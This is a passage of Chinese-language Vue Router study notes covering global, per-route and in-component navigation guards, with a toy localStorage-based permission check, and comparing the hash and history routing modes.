    //全局后置守卫:初始化时执行、每次路由切换后执行
    router.afterEach((to,from)=>{
    	console.log('afterEach',to,from)
    	if(to.meta.title){ 
    		document.title = to.meta.title //修改网页的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    
  4. 独享守卫:

    beforeEnter(to,from,next){
    	console.log('beforeEnter',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){
    			next()
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next()
    	}
    }
    
  5. 组件内守卫:

    //进入守卫:通过路由规则,进入该组件时被调用
    beforeRouteEnter (to, from, next) {
    },
    //离开守卫:通过路由规则,离开该组件时被调用
    beforeRouteLeave (to, from, next) {
    }
    

13.路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
  2. hash 值不会包含在 HTTP 请求中,即:hash 值不会带给服务器。
  3. hash 模式:
    1. 地址中永远带着#号,不美观 。
    2. 若以后将地址通过第三方手机app分享,若 app 校验严格,则地址会被标记为不合法。
    3. 兼容性较好。
  4. history 模式:
    1. 地址干净,美观 。
    2. 兼容性和 hash 模式相比略差。
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端 404 的问题。